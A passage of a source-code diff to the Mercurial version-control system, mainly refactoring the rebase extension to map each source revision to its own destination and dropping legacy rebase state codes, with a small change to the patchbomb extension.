     '''is an introductory message apparently wanted?'''
-    introconfig = ui.config('patchbomb', 'intro', 'auto')
+    introconfig = ui.config('patchbomb', 'intro')
     if opts.get('intro') or opts.get('desc'):
         intro = True
     elif introconfig == 'always':
@@ -308,7 +340,8 @@
     else:
         ui.write(_('\nWrite the introductory message for the '
                    'patch series.\n\n'))
-        body = ui.edit(defaultbody, sender, repopath=repo.path)
+        body = ui.edit(defaultbody, sender, repopath=repo.path,
+                       action='patchbombbody')
         # Save series description in case sendmail fails
         msgfile = repo.vfs('last-email.txt', 'wb')
         msgfile.write(body)
diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -45,8 +45,8 @@
     phases,
     registrar,
     repair,
-    repoview,
     revset,
+    revsetlang,
     scmutil,
     smartset,
     util,
@@ -60,13 +60,11 @@
 
 # Indicates that a revision needs to be rebased
 revtodo = -1
-nullmerge = -2
-revignored = -3
-# successor in rebase destination
-revprecursor = -4
-# plain prune (no successor)
-revpruned = -5
-revskipped = (revignored, revprecursor, revpruned)
+revtodostr = '-1'
+
+# legacy revstates no longer needed in current code
+# -2: nullmerge, -3: revignored, -4: revprecursor, -5: revpruned
+legacystates = {'-2', '-3', '-4', '-5'}
 
 cmdtable = {}
 command = registrar.command(cmdtable)
@@ -123,13 +121,37 @@
         sourceset = revset.getset(repo, smartset.fullreposet(repo), x)
     return subset & smartset.baseset([_destrebase(repo, sourceset)])
 
+def _ctxdesc(ctx):
+    """short description for a context"""
+    desc = '%d:%s "%s"' % (ctx.rev(), ctx,
+                           ctx.description().split('\n', 1)[0])
+    repo = ctx.repo()
+    names = []
+    for nsname, ns in repo.names.iteritems():
+        if nsname == 'branches':
+            continue
+        names.extend(ns.names(repo, ctx.node()))
+    if names:
+        desc += ' (%s)' % ' '.join(names)
+    return desc
+
 class rebaseruntime(object):
     """This class is a container for rebase runtime state"""
     def __init__(self, repo, ui, opts=None):
         if opts is None:
             opts = {}
 
-        self.repo = repo
+        # prepared: whether we have rebasestate prepared or not. Currently it
+        # decides whether "self.repo" is unfiltered or not.
+        # The rebasestate has explicit hash to hash instructions not depending
+        # on visibility. If rebasestate exists (in-memory or on-disk), use
+        # unfiltered repo to avoid visibility issues.
+        # Before knowing rebasestate (i.e. when starting a new rebase (not
+        # --continue or --abort)), the original repo should be used so
+        # visibility-dependent revsets are correct.
+        self.prepared = False
+        self._repo = repo
+
         self.ui = ui
         self.opts = opts
         self.originalwd = None
@@ -139,9 +161,8 @@
         # dict will be what contains most of the rebase progress state.
         self.state = {}
         self.activebookmark = None
-        self.dest = None
+        self.destmap = {}
         self.skipped = set()
-        self.destancestors = set()
 
         self.collapsef = opts.get('collapse', False)
         self.collapsemsg = cmdutil.logmessage(ui, opts)
@@ -159,6 +180,13 @@
         self.keepopen = opts.get('keepopen', False)
         self.obsoletenotrebased = {}
 
+    @property
+    def repo(self):
+        if self.prepared:
+            return self._repo.unfiltered()
+        else:
+            return self._repo
+
     def storestatus(self, tr=None):
         """Store the current status to allow recovery"""
         if tr:
@@ -169,36 +197,39 @@
                 self._writestatus(f)
 
     def _writestatus(self, f):
-        repo = self.repo.unfiltered()
+        repo = self.repo
+        assert repo.filtername is None
         f.write(repo[self.originalwd].hex() + '\n')
-        f.write(repo[self.dest].hex() + '\n')
+        # was "dest". we now write dest per src root below.
+        f.write('\n')
         f.write(repo[self.external].hex() + '\n')
         f.write('%d\n' % int(self.collapsef))
         f.write('%d\n' % int(self.keepf))
         f.write('%d\n' % int(self.keepbranchesf))
         f.write('%s\n' % (self.activebookmark or ''))
+        destmap = self.destmap
         for d, v in self.state.iteritems():
             oldrev = repo[d].hex()
             if v >= 0:
                 newrev = repo[v].hex()
-            elif v == revtodo:
-                # To maintain format compatibility, we have to use nullid.
-                # Please do remove this special case when upgrading the format.
-                newrev = hex(nullid)
             else:
                 newrev = v
-            f.write("%s:%s\n" % (oldrev, newrev))
+            destnode = repo[destmap[d]].hex()
+            f.write("%s:%s:%s\n" % (oldrev, newrev, destnode))
         repo.ui.debug('rebase status stored\n')
 
     def restorestatus(self):
         """Restore a previously stored status"""
+        self.prepared = True
         repo = self.repo
+        assert repo.filtername is None
         keepbranches = None
-        dest = None
+        legacydest = None
         collapse = False
         external = nullrev
         activebookmark = None
         state = {}
+        destmap = {}
 
         try:
             f = repo.vfs("rebasestate")
@@ -206,7 +237,10 @@
                 if i == 0:
                     originalwd = repo[l].rev()
                 elif i == 1:
-                    dest = repo[l].rev()
+                    # this line should be empty in newer version. but legacy
+                    # clients may still use it
+                    if l:
+                        legacydest = repo[l].rev()
                 elif i == 2:
                     external = repo[l].rev()
                 elif i == 3:
@@ -221,11 +255,17 @@
                     # oldrev:newrev lines
                     activebookmark = l
                 else:
-                    oldrev, newrev = l.split(':')
-                    if newrev in (str(nullmerge), str(revignored),
-                                  str(revprecursor), str(revpruned)):
-                        state[repo[oldrev].rev()] = int(newrev)
-                    elif newrev == nullid:
+                    args = l.split(':')
+                    oldrev = args[0]
+                    newrev = args[1]
+                    if newrev in legacystates:
+                        continue
+                    if len(args) > 2:
+                        destnode = args[2]
+                    else:
+                        destnode = legacydest
+                    destmap[repo[oldrev].rev()] = repo[destnode].rev()
+                    if newrev in (nullid, revtodostr):
                         state[repo[oldrev].rev()] = revtodo
                         # Legacy compat special case
                     else:
@@ -242,7 +282,7 @@
         skipped = set()
         # recompute the set of skipped revs
         if not collapse:
-            seen = {dest}
+            seen = set(destmap.values())
             for old, new in sorted(state.items()):
                 if new != revtodo and new in seen:
                     skipped.add(old)
@@ -250,10 +290,9 @@
         repo.ui.debug('computed skipped revs: %s\n' %
                         (' '.join(str(r) for r in sorted(skipped)) or None))
         repo.ui.debug('rebase status resumed\n')
-        _setrebasesetvisibility(repo, set(state.keys()) | {originalwd})
 
         self.originalwd = originalwd
-        self.dest = dest
+        self.destmap = destmap
         self.state = state
         self.skipped = skipped
         self.collapsef = collapse
@@ -262,23 +301,20 @@
         self.external = external
         self.activebookmark = activebookmark
 
-    def _handleskippingobsolete(self, rebaserevs, obsoleterevs, dest):
+    def _handleskippingobsolete(self, obsoleterevs, destmap):
         """Compute structures necessary for skipping obsolete revisions
 
-        rebaserevs:     iterable of all revisions that are to be rebased
         obsoleterevs:   iterable of all obsolete revisions in rebaseset
-        dest:           a destination revision for the rebase operation
+        destmap:        {srcrev: destrev} destination revisions
         """
         self.obsoletenotrebased = {}
-        if not self.ui.configbool('experimental', 'rebaseskipobsolete',
-                                  default=True):
+        if not self.ui.configbool('experimental', 'rebaseskipobsolete'):
             return
-        rebaseset = set(rebaserevs)
         obsoleteset = set(obsoleterevs)
         self.obsoletenotrebased = _computeobsoletenotrebased(self.repo,
-                                    obsoleteset, dest)
+                                    obsoleteset, destmap)
         skippedset = set(self.obsoletenotrebased)
-        _checkobsrebase(self.repo, self.ui, obsoleteset, rebaseset, skippedset)
+        _checkobsrebase(self.repo, self.ui, obsoleteset, skippedset)
 
     def _prepareabortorcontinue(self, isabort):
         try:
@@ -296,16 +332,14 @@
                 hint = _('use "hg rebase --abort" to clear broken state')
                 raise error.Abort(msg, hint=hint)
         if isabort:
-            return abort(self.repo, self.originalwd, self.dest,
+            return abort(self.repo, self.originalwd, self.destmap,
                          self.state, activebookmark=self.activebookmark)
 
-        obsrevs = (r for r, st in self.state.items() if st == revprecursor)
-        self._handleskippingobsolete(self.state.keys(), obsrevs, self.dest)
-
-    def _preparenewrebase(self, dest, rebaseset):
-        if dest is None:
+    def _preparenewrebase(self, destmap):
+        if not destmap:
             return _nothingtorebase()
 
+        rebaseset = destmap.keys()
         allowunstable = obsolete.isenabled(self.repo, obsolete.allowunstableopt)
         if (not (self.keepf or allowunstable)
               and self.repo.revs('first(children(%ld) - %ld)',
@@ -315,11 +349,7 @@
                   " unrebased descendants"),
                 hint=_('use --keep to keep original changesets'))
 
-        obsrevs = _filterobsoleterevs(self.repo, set(rebaseset))
-        self._handleskippingobsolete(rebaseset, obsrevs, dest.rev())
-
-        result = buildstate(self.repo, dest, rebaseset, self.collapsef,
-                            self.obsoletenotrebased)
+        result = buildstate(self.repo, destmap, self.collapsef)
 
         if not result:
             # Empty state built, nothing to rebase
@@ -332,19 +362,26 @@
                                   % root,
                                   hint=_("see 'hg help phases' for details"))
 
-        (self.originalwd, self.dest, self.state) = result
+        (self.originalwd, self.destmap, self.state) = result
         if self.collapsef:
-            self.destancestors = self.repo.changelog.ancestors(
-                                        [self.dest],
-                                        inclusive=True)
-            self.external = externalparent(self.repo, self.state,
-                                              self.destancestors)
+            dests = set(self.destmap.values())
+            if len(dests) != 1:
+                raise error.Abort(
+                    _('--collapse does not work with multiple destinations'))
+            destrev = next(iter(dests))
+            destancestors = self.repo.changelog.ancestors([destrev],
+                                                          inclusive=True)
+            self.external = externalparent(self.repo, self.state, destancestors)
 
-        if dest.closesbranch() and not self.keepbranchesf:
-            self.ui.status(_('reopening closed branch head %s\n') % dest)
+        for destrev in sorted(set(destmap.values())):
+            dest = self.repo[destrev]
+            if dest.closesbranch() and not self.keepbranchesf:
+                self.ui.status(_('reopening closed branch head %s\n') % dest)
+
+        self.prepared = True
 
     def _performrebase(self, tr):
-        repo, ui, opts = self.repo, self.ui, self.opts
+        repo, ui = self.repo, self.ui
         if self.keepbranchesf:
             # insert _savebranch at the start of extrafns so if
             # there's a user-provided extrafn it can clobber branch if
@@ -358,10 +395,9 @@
                         raise error.Abort(_('cannot collapse multiple named '
                             'branches'))
 
-        # Rebase
-        if not self.destancestors:
-            self.destancestors = repo.changelog.ancestors([self.dest],
-                                                          inclusive=True)
+        # Calculate self.obsoletenotrebased
+        obsrevs = _filterobsoleterevs(self.repo, self.state)
+        self._handleskippingobsolete(obsrevs, self.destmap)
 
         # Keep track of the active bookmarks in order to reset them later
         self.activebookmark = self.activebookmark or repo._activebookmark
@@ -372,27 +408,47 @@
         # if we fail before the transaction closes.
         self.storestatus()
 
-        sortedrevs = repo.revs('sort(%ld, -topo)', self.state)
         cands = [k for k, v in self.state.iteritems() if v == revtodo]
         total = len(cands)
         pos = 0
+        for subset in sortsource(self.destmap):
+            pos = self._performrebasesubset(tr, subset, pos, total)
+        ui.progress(_('rebasing'), None)
+        ui.note(_('rebase merging completed\n'))
+
+    def _performrebasesubset(self, tr, subset, pos, total):
+        repo, ui, opts = self.repo, self.ui, self.opts
+        sortedrevs = repo.revs('sort(%ld, -topo)', subset)
         for rev in sortedrevs:
+            dest = self.destmap[rev]
             ctx = repo[rev]
-            desc = '%d:%s "%s"' % (ctx.rev(), ctx,
-                                   ctx.description().split('\n', 1)[0])
-            names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
-            if names:
-                desc += ' (%s)' % ' '.join(names)
+            desc = _ctxdesc(ctx)
             if self.state[rev] == rev:
                 ui.status(_('already rebased %s\n') % desc)
+            elif rev in self.obsoletenotrebased:
+                succ = self.obsoletenotrebased[rev]
+                if succ is None:
+                    msg = _('note: not rebasing %s, it has no '
+                            'successor\n') % desc
+                else:
+                    succdesc = _ctxdesc(repo[succ])
+                    msg = (_('note: not rebasing %s, already in '
+                             'destination as %s\n') % (desc, succdesc))
+                repo.ui.status(msg)
+                # Make clearrebased aware state[rev] is not a true successor
+                self.skipped.add(rev)
+                # Record rev as moved to its desired destination in self.state.
+                # This helps bookmark and working parent movement.
+                dest = max(adjustdest(repo, rev, self.destmap, self.state,
+                                      self.skipped))
+                self.state[rev] = dest
             elif self.state[rev] == revtodo:
                 pos += 1
                 ui.status(_('rebasing %s\n') % desc)
                 ui.progress(_("rebasing"), pos, ("%d:%s" % (rev, ctx)),
                             _('changesets'), total)
-                p1, p2, base = defineparents(repo, rev, self.dest,
-                                             self.state,
-                                             self.destancestors,
+                p1, p2, base = defineparents(repo, rev, self.destmap,
+                                             self.state, self.skipped,
                                              self.obsoletenotrebased)
                 self.storestatus(tr=tr)
                 storecollapsemsg(repo, self.collapsemsg)
@@ -403,7 +459,7 @@
                         ui.setconfig('ui', 'forcemerge', opts.get('tool', ''),
                                      'rebase')
                         stats = rebasenode(repo, rev, p1, base, self.state,
-                                           self.collapsef, self.dest)
+                                           self.collapsef, dest)
                         if stats and stats[3] > 0:
                             raise error.InterventionRequired(
                                 _('unresolved conflicts (see hg '
@@ -439,32 +495,18 @@
                         self.skipped.add(rev)
                     self.state[rev] = p1
                     ui.debug('next revision set to %s\n' % p1)
-            elif self.state[rev] == nullmerge:
-                ui.debug('ignoring null merge rebase of %s\n' % rev)
-            elif self.state[rev] == revignored:
-                ui.status(_('not rebasing ignored %s\n') % desc)
-            elif self.state[rev] == revprecursor:
-                destctx = repo[self.obsoletenotrebased[rev]]
-                descdest = '%d:%s "%s"' % (destctx.rev(), destctx,
-                           destctx.description().split('\n', 1)[0])
-                msg = _('note: not rebasing %s, already in destination as %s\n')
-                ui.status(msg % (desc, descdest))
-            elif self.state[rev] == revpruned:
-                msg = _('note: not rebasing %s, it has no successor\n')
-                ui.status(msg % desc)
             else:
                 ui.status(_('already rebased %s as %s\n') %
                           (desc, repo[self.state[rev]]))
-
-        ui.progress(_('rebasing'), None)
-        ui.note(_('rebase merging completed\n'))
+        return pos
 
     def _finishrebase(self):
         repo, ui, opts = self.repo, self.ui, self.opts
+        fm = ui.formatter('rebase', opts)
+        fm.startitem()
         if self.collapsef and not self.keepopen:
-            p1, p2, _base = defineparents(repo, min(self.state),
-                                          self.dest, self.state,
-                                          self.destancestors,
+            p1, p2, _base = defineparents(repo, min(self.state), self.destmap,
+                                          self.state, self.skipped,
                                           self.obsoletenotrebased)
             editopt = opts.get('edit')
             editform = 'rebase.collapse'
@@ -473,24 +515,25 @@
             else:
                 commitmsg = 'Collapsed revision'
                 for rebased in sorted(self.state):
-                    if rebased not in self.skipped and\
-                       self.state[rebased] > nullmerge:
+                    if rebased not in self.skipped:
                         commitmsg += '\n* %s' % repo[rebased].description()
                 editopt = True
             editor = cmdutil.getcommiteditor(edit=editopt, editform=editform)
             revtoreuse = max(self.state)
-            newnode = concludenode(repo, revtoreuse, p1, self.external,
-                                   commitmsg=commitmsg,
-                                   extrafn=_makeextrafn(self.extrafns),
-                                   editor=editor,
-                                   keepbranches=self.keepbranchesf,
-                                   date=self.date)
-            if newnode is None:
-                newrev = self.dest
-            else:
+
+            dsguard = None
+            if ui.configbool('rebase', 'singletransaction'):
+                dsguard = dirstateguard.dirstateguard(repo, 'rebase')
+            with util.acceptintervention(dsguard):
+                newnode = concludenode(repo, revtoreuse, p1, self.external,
+                                       commitmsg=commitmsg,
+                                       extrafn=_makeextrafn(self.extrafns),
+                                       editor=editor,
+                                       keepbranches=self.keepbranchesf,
+                                       date=self.date)
+            if newnode is not None:
                 newrev = repo[newnode].rev()
-            for oldrev in self.state.iterkeys():
-                if self.state[oldrev] > nullmerge:
+                for oldrev in self.state.iterkeys():
                     self.state[oldrev] = newrev
 
         if 'qtip' in repo.tags():
@@ -499,9 +542,7 @@
         # restore original working directory
         # (we do this before stripping)
         newwd = self.state.get(self.originalwd, self.originalwd)
-        if newwd == revprecursor:
-            newwd = self.obsoletenotrebased[self.originalwd]
-        elif newwd < 0:
+        if newwd < 0:
             # original directory is a parent of rebase set root or ignored
             newwd = self.originalwd
         if newwd not in [c.rev() for c in repo[None].parents()]:
@@ -512,8 +553,8 @@
         if not self.keepf:
             if self.collapsef:
                 collapsedas = newnode
-        clearrebased(ui, repo, self.dest, self.state, self.skipped,
-                     collapsedas, self.keepf)
+        clearrebased(ui, repo, self.destmap, self.state, self.skipped,
+                     collapsedas, self.keepf, fm=fm)
 
         clearstatus(repo)
         clearcollapsemsg(repo)
@@ -523,6 +564,7 @@
         if self.skipped:
             skippedlen = len(self.skipped)
             ui.note(_("%d revisions have been skipped\n") % skippedlen)
+        fm.end()
 
         if (self.activebookmark and self.activebookmark in repo._bookmarks and
             repo['.'].node() == repo._bookmarks[self.activebookmark]):
@@ -704,24 +746,29 @@
             if retcode is not None:
                 return retcode
         else:
-            dest, rebaseset = _definesets(ui, repo, destf, srcf, basef, revf,
-                                          destspace=destspace)
-            retcode = rbsrt._preparenewrebase(dest, rebaseset)
+            destmap = _definedestmap(ui, repo, destf, srcf, basef, revf,
+                                     destspace=destspace)
+            retcode = rbsrt._preparenewrebase(destmap)
             if retcode is not None:
                 return retcode
 
         tr = None
-        if ui.configbool('rebase', 'singletransaction'):
+        dsguard = None
+
+        singletr = ui.configbool('rebase', 'singletransaction')
+        if singletr:
             tr = repo.transaction('rebase')
         with util.acceptintervention(tr):
-            rbsrt._performrebase(tr)
+            if singletr:
+                dsguard = dirstateguard.dirstateguard(repo, 'rebase')
+            with util.acceptintervention(dsguard):
+                rbsrt._performrebase(tr)
 
         rbsrt._finishrebase()
 
-def _definesets(ui, repo, destf=None, srcf=None, basef=None, revf=None,
-                destspace=None):
-    """use revisions argument to define destination and rebase set
-    """
+def _definedestmap(ui, repo, destf=None, srcf=None, basef=None, revf=None,
+                   destspace=None):
+    """use revisions argument to define destmap {srcrev: destrev}"""
     if revf is None:
         revf = []
 
@@ -741,19 +788,18 @@
         raise error.Abort(_('you must specify a destination'),
                           hint=_('use: hg rebase -d REV'))
 
-    if destf:
-        dest = scmutil.revsingle(repo, destf)
+    dest = None
 
     if revf:
         rebaseset = scmutil.revrange(repo, revf)
         if not rebaseset:
             ui.status(_('empty "rev" revision set - nothing to rebase\n'))
-            return None, None
+            return None
     elif srcf:
         src = scmutil.revrange(repo, [srcf])
         if not src:
             ui.status(_('empty "source" revision set - nothing to rebase\n'))
-            return None, None
+            return None
         rebaseset = repo.revs('(%ld)::', src)
         assert rebaseset
     else:
@@ -761,8 +807,11 @@
         if not base:
             ui.status(_('empty "base" revision set - '
                         "can't compute rebase set\n"))
-            return None, None
-        if not destf:
+            return None
+        if destf:
+            # --base does not support multiple destinations
+            dest = scmutil.revsingle(repo, destf)
+        else:
             dest = repo[_destrebase(repo, base, destspace=destspace)]
             destf = str(dest)
 
@@ -805,13 +854,48 @@
             else: # can it happen?
                 ui.status(_('nothing to rebase from %s to %s\n') %
                           ('+'.join(str(repo[r]) for r in base), dest))
-            return None, None
+            return None
 
     if not destf:
         dest = repo[_destrebase(repo, rebaseset, destspace=destspace)]
         destf = str(dest)
 
-    return dest, rebaseset
+    allsrc = revsetlang.formatspec('%ld', rebaseset)
+    alias = {'ALLSRC': allsrc}
+
+    if dest is None:
+        try:
+            # fast path: try to resolve dest without SRC alias
+            dest = scmutil.revsingle(repo, destf, localalias=alias)
+        except error.RepoLookupError:
+            if not ui.configbool('experimental', 'rebase.multidest'):
+                raise
+            # multi-dest path: resolve dest for each SRC separately
+            destmap = {}
+            for r in rebaseset:
+                alias['SRC'] = revsetlang.formatspec('%d', r)
+                # use repo.anyrevs instead of scmutil.revsingle because we
+                # don't want to abort if destset is empty.
+                destset = repo.anyrevs([destf], user=True, localalias=alias)
+                size = len(destset)
+                if size == 1:
+                    destmap[r] = destset.first()
+                elif size == 0:
+                    ui.note(_('skipping %s - empty destination\n') % repo[r])
+                else:
+                    raise error.Abort(_('rebase destination for %s is not '
+                                        'unique') % repo[r])
+
+    if dest is not None:
+        # single-dest case: assign dest to each rev in rebaseset
+        destrev = dest.rev()
+        destmap = {r: destrev for r in rebaseset} # {srcrev: destrev}
+
+    if not destmap:
+        ui.status(_('nothing to rebase - empty destination\n'))
+        return None
+
+    return destmap
 
 def externalparent(repo, state, destancestors):
     """Return the revision that should be used as the second parent
@@ -841,8 +925,10 @@
     '''Commit the wd changes with parents p1 and p2. Reuse commit info from rev
     but also store useful information in extra.
     Return node of committed revision.'''
-    dsguard = dirstateguard.dirstateguard(repo, 'rebase')
-    try:
+    dsguard = util.nullcontextmanager()
+    if not repo.ui.configbool('rebase', 'singletransaction'):
+        dsguard = dirstateguard.dirstateguard(repo, 'rebase')
+    with dsguard:
         repo.setparents(repo[p1].node(), repo[p2].node())
         ctx = repo[rev]
         if commitmsg is None:
@@ -864,10 +950,7 @@
                                   date=date, extra=extra, editor=editor)
 
         repo.dirstate.setbranch(repo[newnode].branch())
-        dsguard.close()
         return newnode
-    finally:
-        release(dsguard)
 
 def rebasenode(repo, rev, p1, base, state, collapse, dest):
     'Rebase a single revision rev on top of p1 using base as merge ancestor'
@@ -884,10 +967,11 @@
         repo.ui.debug("   detach base %d:%s\n" % (base, repo[base]))
     # When collapsing in-place, the parent is the common ancestor, we
     # have to allow merging with it.
+    wctx = repo[None]
     stats = mergemod.update(repo, rev, True, True, base, collapse,
                             labels=['dest', 'source'])
     if collapse:
-        copies.duplicatecopies(repo, rev, dest)
+        copies.duplicatecopies(repo, wctx, rev, dest)
     else:
         # If we're not using --collapse, we need to
         # duplicate copies between the revision we're
@@ -895,18 +979,18 @@
         # duplicate any copies that have already been
         # performed in the destination.
         p1rev = repo[rev].p1().rev()
-        copies.duplicatecopies(repo, rev, p1rev, skiprev=dest)
+        copies.duplicatecopies(repo, wctx, rev, p1rev, skiprev=dest)
     return stats
 
-def adjustdest(repo, rev, dest, state):
+def adjustdest(repo, rev, destmap, state, skipped):
     """adjust rebase destination given the current rebase state
 
     rev is what is being rebased. Return a list of two revs, which are the
     adjusted destinations for rev's p1 and p2, respectively. If a parent is
     nullrev, return dest without adjustment for it.
 
-    For example, when doing rebase -r B+E -d F, rebase will first move B to B1,
-    and E's destination will be adjusted from F to B1.
+    For example, when doing rebasing B+E to F, C to G, rebase will first move B
+    to B1, and E's destination will be adjusted from F to B1.
 
         B1 <- written during rebasing B
         |
@@ -918,11 +1002,11 @@
         | |
         | x <- skipped, ex. no successor or successor in (::dest)
         | |
-        | C
+        | C <- rebased as C', different destination
         | |
-        | B <- rebased as B1
-        |/
-        A
+        | B <- rebased as B1     C'
+        |/                       |
+        A                        G <- destination of C, different
 
     Another example about merge changeset, rebase -r C+G+H -d K, rebase will
     first move C to C1, G to G1, and when it's checking H, the adjusted
@@ -937,40 +1021,51 @@
         | B         | ...
         |/          |/
         A           A
+
+    Besides, adjust dest according to existing rebase information. For example,
+
+      B C D    B needs to be rebased on top of C, C needs to be rebased on top
+       \|/     of D. We will rebase C first.
+        A
+
+          C'   After rebasing C, when considering B's destination, use C'
+          |    instead of the original C.
+      B   D
+       \ /
+        A
     """
+    # pick already rebased revs with same dest from state as interesting source
+    dest = destmap[rev]
+    source = [s for s, d in state.items()
+              if d > 0 and destmap[s] == dest and s not in skipped]
+
     result = []
     for prev in repo.changelog.parentrevs(rev):
         adjusted = dest
         if prev != nullrev:
-            # pick already rebased revs from state
-            source = [s for s, d in state.items() if d > 0]
             candidate = repo.revs('max(%ld and (::%d))', source, prev).first()
             if candidate is not None:
                 adjusted = state[candidate]
+        if adjusted == dest and dest in state:
+            adjusted = state[dest]
+            if adjusted == revtodo:
+                # sortsource should produce an order that makes this impossible
+                raise error.ProgrammingError(
+                    'rev %d should be rebased already at this time' % dest)
         result.append(adjusted)
     return result
 
-def nearestrebased(repo, rev, state):
-    """return the nearest ancestors of rev in the rebase result"""
-    rebased = [r for r in state if state[r] > nullmerge]
-    candidates = repo.revs('max(%ld  and (::%d))', rebased, rev)
-    if candidates:
-        return state[candidates.first()]
-    else:
-        return None
-
-def _checkobsrebase(repo, ui, rebaseobsrevs, rebasesetrevs, rebaseobsskipped):
+def _checkobsrebase(repo, ui, rebaseobsrevs, rebaseobsskipped):
     """
     Abort if rebase will create divergence or rebase is noop because of markers
 
     `rebaseobsrevs`: set of obsolete revision in source
-    `rebasesetrevs`: set of revisions to be rebased from source
     `rebaseobsskipped`: set of revisions from source skipped because they have
     successors in destination
     """
     # Obsolete node with successors not in dest leads to divergence
     divergenceok = ui.configbool('experimental',
-                                 'allowdivergence')
+                                 'evolution.allowdivergence')
     divergencebasecandidates = rebaseobsrevs - rebaseobsskipped
 
     if divergencebasecandidates and not divergenceok:
@@ -979,110 +1074,205 @@
         msg = _("this rebase will cause "
                 "divergences from: %s")
         h = _("to force the rebase please set "
-              "experimental.allowdivergence=True")
+              "experimental.evolution.allowdivergence=True")
         raise error.Abort(msg % (",".join(divhashes),), hint=h)
 
-def defineparents(repo, rev, dest, state, destancestors,
-                  obsoletenotrebased):
-    'Return the new parent relationship of the revision that will be rebased'
-    parents = repo[rev].parents()
-    p1 = p2 = nullrev
-    rp1 = None
+def successorrevs(unfi, rev):
+    """yield revision numbers for successors of rev"""
+    assert unfi.filtername is None
+    nodemap = unfi.changelog.nodemap
+    for s in obsutil.allsuccessors(unfi.obsstore, [unfi[rev].node()]):
+        if s in nodemap:
+            yield nodemap[s]
+
+def defineparents(repo, rev, destmap, state, skipped, obsskipped):
+    """Return new parents and optionally a merge base for rev being rebased
+
+    The destination specified by "dest" cannot always be used directly because
+    previously rebase result could affect destination. For example,
+
+          D E    rebase -r C+D+E -d B
+          |/     C will be rebased to C'
+        B C      D's new destination will be C' instead of B
+        |/       E's new destination will be C' instead of B
+        A
 
-    p1n = parents[0].rev()
-    if p1n in destancestors:
-        p1 = dest
-    elif p1n in state:
-        if state[p1n] == nullmerge:
-            p1 = dest
-        elif state[p1n] in revskipped:
-            p1 = nearestrebased(repo, p1n, state)
-            if p1 is None:
-                p1 = dest
-        else:
-            p1 = state[p1n]
-    else: # p1n external
-        p1 = dest
-        p2 = p1n
+    The new parents of a merge is slightly more complicated. See the comment
+    block below.
+    """
+    # use unfiltered changelog since successorrevs may return filtered nodes
+    assert repo.filtername is None
+    cl = repo.changelog
+    def isancestor(a, b):
+        # take revision numbers instead of nodes
+        if a == b:
+            return True
+        elif a > b:
+            return False
+        return cl.isancestor(cl.node(a), cl.node(b))
+
+    dest = destmap[rev]
+    oldps = repo.changelog.parentrevs(rev) # old parents
+    newps = [nullrev, nullrev] # new parents
+    dests = adjustdest(repo, rev, destmap, state, skipped)
+    bases = list(oldps) # merge base candidates, initially just old parents
 
-    if len(parents) == 2 and parents[1].rev() not in destancestors:
-        p2n = parents[1].rev()
-        # interesting second parent
-        if p2n in state:
-            if p1 == dest: # p1n in destancestors or external
-                p1 = state[p2n]
-                if p1 == revprecursor:
-                    rp1 = obsoletenotrebased[p2n]
-            elif state[p2n] in revskipped:
-                p2 = nearestrebased(repo, p2n, state)
-                if p2 is None:
-                    # no ancestors rebased yet, detach
-                    p2 = dest
-            else:
-                p2 = state[p2n]
-        else: # p2n external
-            if p2 != nullrev: # p1n external too => rev is a merged revision
-                raise error.Abort(_('cannot use revision %d as base, result '
-                        'would have 3 parents') % rev)
-            p2 = p2n
-    repo.ui.debug(" future parents are %d and %d\n" %
-                            (repo[rp1 or p1].rev(), repo[p2].rev()))
+    if all(r == nullrev for r in oldps[1:]):
+        # For non-merge changeset, just move p to adjusted dest as requested.
+        newps[0] = dests[0]
+    else:
+        # For merge changeset, if we move p to dests[i] unconditionally, both
+        # parents may change and the end result looks like "the merge loses a
+        # parent", which is a surprise. This is a limit because "--dest" only
+        # accepts one dest per src.
+        #
+        # Therefore, only move p with reasonable conditions (in this order):
+        #   1. use dest, if dest is a descendent of (p or one of p's successors)
+        #   2. use p's rebased result, if p is rebased (state[p] > 0)
+        #
+        # Comparing with adjustdest, the logic here does some additional work:
+        #   1. decide which parents will not be moved towards dest
+        #   2. if the above decision is "no", should a parent still be moved
+        #      because it was rebased?
+        #
+        # For example:
+        #
+        #     C    # "rebase -r C -d D" is an error since none of the parents
+        #    /|    # can be moved. "rebase -r B+C -d D" will move C's parent
+        #   A B D  # B (using rule "2."), since B will be rebased.
+        #
+        # The loop tries to be not rely on the fact that a Mercurial node has
+        # at most 2 parents.
+        for i, p in enumerate(oldps):
+            np = p # new parent
+            if any(isancestor(x, dests[i]) for x in successorrevs(repo, p)):
+                np = dests[i]
+            elif p in state and state[p] > 0:
+                np = state[p]
 
-    if not any(p.rev() in state for p in parents):
-        # Case (1) root changeset of a non-detaching rebase set.
-        # Let the merge mechanism find the base itself.
+            # "bases" only record "special" merge bases that cannot be
+            # calculated from changelog DAG (i.e. isancestor(p, np) is False).
+            # For example:
+            #
+            #   B'   # rebase -s B -d D, when B was rebased to B'. dest for C
+            #   | C  # is B', but merge base for C is B, instead of
+            #   D |  # changelog.ancestor(C, B') == A. If changelog DAG and
+            #   | B  # "state" edges are merged (so there will be an edge from
+            #   |/   # B to B'), the merge base is still ancestor(C, B') in
+            #   A    # the merged graph.
+            #
+            # Also see https://bz.mercurial-scm.org/show_bug.cgi?id=1950#c8
+            # which uses "virtual null merge" to explain this situation.
+            if isancestor(p, np):
+                bases[i] = nullrev
+
+            # If one parent becomes an ancestor of the other, drop the ancestor
+            for j, x in enumerate(newps[:i]):
+                if x == nullrev:
+                    continue
+                if isancestor(np, x): # CASE-1
+                    np = nullrev
+                elif isancestor(x, np): # CASE-2
+                    newps[j] = np
+                    np = nullrev
+                    # New parents forming an ancestor relationship does not
+                    # mean the old parents have a similar relationship. Do not
+                    # set bases[x] to nullrev.
+                    bases[j], bases[i] = bases[i], bases[j]
+
+            newps[i] = np
+
+        # "rebasenode" updates to new p1, and the old p1 will be used as merge
+        # base. If only p2 changes, merging using unchanged p1 as merge base is
+        # suboptimal. Therefore swap parents to make the merge sane.
+        if newps[1] != nullrev and oldps[0] == newps[0]:
+            assert len(newps) == 2 and len(oldps) == 2
+            newps.reverse()
+            bases.reverse()
+
+        # No parent change might be an error because we fail to make rev a
+        # descendent of requested dest. This can happen, for example:
+        #
+        #     C    # rebase -r C -d D
+        #    /|    # None of A and B will be changed to D and rebase fails.
+        #   A B D
+        if set(newps) == set(oldps) and dest not in newps:
+            raise error.Abort(_('cannot rebase %d:%s without '
+                                'moving at least one of its parents')
+                              % (rev, repo[rev]))
+
+    # Source should not be ancestor of dest. The check here guarantees it's
+    # impossible. With multi-dest, the initial check does not cover complex
